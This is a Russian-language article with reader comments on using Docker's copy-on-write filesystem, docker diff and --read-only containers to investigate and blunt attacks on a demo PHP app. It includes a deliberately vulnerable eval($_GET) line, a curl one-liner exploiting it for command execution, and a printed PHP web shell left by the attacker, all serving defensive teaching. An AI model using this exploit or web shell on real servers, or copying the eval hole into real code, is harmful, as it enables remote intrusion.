Контейнеры Docker хороши тем, что они немутабельны (immutable). Docker поставляется с файловой системой типа copy-on-write, поэтому базовый образ может быть изменен только в том случае, если вы сами создали соответствующий коммит.


Эта особенность может пригодиться, например, при расследовании хакерских атак. Давая возможность легко проверить расхождение файловой системы контейнера с базовым образом, она позволит увидеть сделанные атакующей стороной изменения.


Демонстрационное приложение


Возьмем в качестве примера инфраструктуру следующего вида:




У нас есть PHP-приложение, запущенное на сервере с говорящим названием Front-end, и база данных MySQL на отдельной машине. (Редакция не несет ответственности за сторонние репозитории и напоминает, что установка ПО из непроверенных источников может привести к нежелательным последствиям. — Прим. ред.) Чтобы воспроизвести наш пример в домашних условиях, выполните:


? docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb
? docker run -d -p 80:80 --link db:db diogomonica/phphack

Теперь, когда в вашем распоряжении есть работающие база данных и клиентская часть, вы должны увидеть примерно такое приветствие:




К сожалению, как и в каждом втором PHP-приложении в реальном мире, в нашем тестовом примере есть дыра, позволяющая взломщику удаленно выполнить произвольный код:


if($links) {  
<h3>Links found</h3>  
... 
eval($_GET['shell']);  
?>

Похоже, кто-то использует eval в неположенном месте! Поэтому потенциальный злоумышленник может воспользоваться нашей беспечностью и выполнить на уязвимом сервере произвольный код:


? curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="
uid=33(www-data) gid=33(www-data) groups=33(www-data) 

На только что взломанной машине хакер обычно старается устроиться поудобнее: скачивает командную оболочку PHP и различные наборы инструментов. Некоторые взломщики также склонны к замене внешнего вида и содержимого вашего сайта:




Восстанавливаемся после атаки


Одной из замечательных вещей, предоставляемых файловой системой copy-on-write, является возможность увидеть произошедшие в контейнере изменения. Команда docker diff покажет, что взломщик делал с нашими файлами:


? docker diff pensive_meitner
C /run  
C /run/apache2  
A /run/apache2/apache2.pid  
C /run/lock  
C /run/lock/apache2  
C /var  
C /var/www  
C /var/www/html  
C /var/www/html/index.html  
A /var/www/html/shell.php  

Очень интересно! Оказывается, злоумышленник не только изменил наш index.html, но и загрузил командную оболочку PHP, заботливо названную shell.php. Но первым делом надо восстановить работу сайта.


Для дальнейших разбирательств образ взломанной системы может быть сохранен командой docker commit. А поскольку контейнеры немутабельны, мы легким движением руки перезагружаем diogomonica/phphack и возвращаемся к нормальной работе:


? docker commit pensive_meitner
sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3  
? docker kill pensive_meitner
? docker run -d -p 80:80 --link db:db diogomonica/phphack



Теперь давайте возьмем сохраненный образ и посмотрим, какие изменения внес взломщик:


? docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh
# cat index.html
<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink>  
# cat shell.php
<?php  
eval($_GET['cmd']);  
?>

Кажется, нас только что взломали ребята из SUPER ELITE GROUP OF HACKERS.


Увеличиваем стоимость атаки


Безусловно, полезно иметь возможность увидеть изменения в контейнере после атаки, но как избежать самого нападения?


Для этого есть опция --read-only, которая предписывает Docker запретить изменения файловой системы контейнера. Ее установка могла бы предотвратить модификацию index.html, но гораздо важнее, что злоумышленнику не удалось бы загрузить командную оболочку или любой другой нужный ему инструмент.


Давайте посмотрим, как это работает:


? docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack
...
172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] "GET / HTTP/1.1" 200 219518 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48"  
sh: 1: cannot create index.html: Read-only file system  

Поскольку наша файловая система теперь доступна только для чтения, попытки взломщика изменить index.html провалились.


Дает ли это стопроцентную гарантию?


Ни в коем случае. До тех пор, пока мы не исправим имеющуюся RCE-уязвимость, хакеры по-прежнему смогут свободно выполнять произвольный код на нашей машине и, например, украсть идентификационную информацию или стащить данные из базы.


Тем не менее существует реальная возможность значительно усложнить жизнь хакерам, пытающимся взломать наши системы. Для этого нужно использовать средства безопасности Docker и минимальные образы для контейнеров.


Заключение


Безопасность наших приложений никогда не будет стопроцентной. Но использование Immutable infrastructure может значительно усложнить хакерам работу, а если взлом все-таки произойдет, сделать процедуру восстановления намного проще.


Так что ради безопасности и стабильности вполне можно подкрутить несколько ручек и укрепить оборону наших контейнеров!

Поделиться с друзьями
-->

Комментарии (9)


  1. justhabrauser
    06.12.2016 12:11

    «немутабельны (immutable)» — может всё-же «неизменяемы»?
    PS. ЛС недоступно, сорри.


    1. gekk0
      06.12.2016 16:11

      Думаю, что «неизменяемый» и «немутабельный» — это всё-таки разные вещи.
      Вот, например, терминология 1С: http://kb.mista.ru/article.php?id=941.
      Прямую аналогию с докеровскими образами и контейнерами провести сложно, но, исходя из опыта, можно сказать, что англоязычные авторы применяют этот термин вместо «constant», «read-only» или «unchangeable» неслучайно, т. е. они вкладывают в него несколько иной смысл.


  1. arteast
    06.12.2016 12:15

    В реальной системе фронтенду помимо логов и пидов надо писать еще в пяток мест (загруженные пользовательские файлы и картинки, они же после изменения размера/кропа, всякие кеши, в особо забавных случаях — «скомпилированные» в php шаблоны). Еще многие CMS любят хранить куски PHP кода внутри базы данных.
    Иммутабельность кода сайта — это очень хорошо, но не всегда достаточно для того, чтобы «одним движением» откатить все изменения. Надо еще скрупулезно чистить все кеши на старте системы, разрешать выполнение скриптов только в тех местах, где это надо, и разрешать запись фронтенда в базу только в те таблицы (или даже столбцы), которые реально нужно менять пользователям.


    1. cultura
      06.12.2016 16:11

      Это, конечно, получше чем рекурсивный chmod в read only для всех файлов движка
      Но на практике разница не велика.


      1. rpeMJIuH
        06.12.2016 16:16

        На практике, в Docker'e можно выделить отдельные Volume для пользовательских данных, для конфигов и для кеша, и при необходимости банально убивать volume с кешем.
        А исполняемый контейнер — да, выставить в read-only.


        1. arteast
          06.12.2016 18:33

          Можно, конечно. Мой посыл был в том, что зловредители могут залить шеллскрипт в volume с картинками — и это легко откатить не получится. Полной иммутабельности нет, т.к. откатить все состояние контейнера до исходного нельзя. Максимум, что можно (и нужно) сделать — это убедиться, что скрипты выполняются только там, где это реально нужно.


          1. cultura
            06.12.2016 18:37

            Ну дык это-то как раз решается более простыми методами, нежели через контейнеры.

            Откат через контейнеры назад — какой-то вялый пример.
            Действительно полезен разве что для анализа атаки.


  1. dev_31
    06.12.2016 18:52

    При запуске пишет
    Unable to find image 'diogomonica/phphack:latest' locally
    Pulling repository docker.io/diogomonica/phphack
    docker: Error: image diogomonica/phphack:latest not found.


    1. rpeMJIuH
      06.12.2016 19:15

      Во-первых https://github.com/diogomonica/apachehackdemo/blob/master/setup.sh
      Во-вторых, докер-команды, чтобы понять, что у вас вообще имеется на данный момент

      • docker images -a //all images
      • docker ps -a // all containers

      И наконец, имена для образов и контейнеров докер придумывает сам, если не указано конкретное значение (docker build, -t, --tag value Name and optionally a tag in the 'name:tag')